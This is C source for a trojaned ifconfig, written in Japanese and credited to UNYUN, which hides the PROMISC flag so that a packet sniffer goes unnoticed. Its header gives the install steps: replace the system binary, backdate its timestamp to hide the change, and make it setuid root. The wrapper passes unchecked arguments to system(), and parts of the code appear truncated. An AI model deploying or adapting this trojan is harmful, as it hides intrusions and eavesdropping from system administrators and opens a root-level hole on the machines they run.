/*==================================================== ifconfigだまし for sniffer Developped by UNYUN [これ何?] ifconfig -a 時のPROMISCを消す [だまし方] #cc ifc.c -o ifconfig #mv /usr/etc/ifconfig /usr/etc/yzpp (yzppは好きな名前でOK) #mv ifconfig /usr/etc #cd /usr/etc #ls -al yzpp -rwxr-xr-x 1 root 180224 Jul 24 1992 /usr/etc/yzpp #touch 072410101992 ifconfig #chmod 4755 ifconfig ==================================================== */ #include #include #include #define ORIGINAL_IFCONFIG "/usr/etc/yzpp" /* originalのifconfig */ #define TEMP_FILE "/tmp/ifconfig" /* 臨時ファイル */ int fgetline(fp,buf) FILE *fp; char *buf; { int i; strcpy(buf,""); for (i=0;;i++){ if (feof(fp)) break; buf[i]=fgetc(fp); if (buf[i]==(char)255) break; if (buf[i]==10) break; } buf[i]=0; return (i); } main(argc,argv) int argc; char *argv[]; { char buf[5000]; char buf2[5000]; int i,j; FILE *fp; sprintf(buf,"%s ",ORIGINAL_IFCONFIG); for (i=1;i %s",buf,TEMP_FILE); system(buf2); if ((fp=fopen(TEMP_FILE,"rb"))!=NULL){ for (;;){ if (feof(fp)) break; j=fgetline(fp,buf); if (j==0) continue; if (strlen(buf)==0) break; for (i=0;i<(int)strlen(buf);i++) if (strncmp(buf+i,"PROMISC",7)==0) break; if (i==(int)strlen(buf)){ printf("%s\n",buf); continue; } if (buf[i+7]=='>'){ buf[i-1]='>'; buf[i]=0; printf("%s\n",buf); continue; } if (buf[i+7]==','){ for (j=i+7;j<(int)strlen(buf);j++) buf[j-8]=buf[j]; buf[j-8]=0; printf("%s\n",buf); continue; } } fclose(fp); } remove(TEMP_FILE); }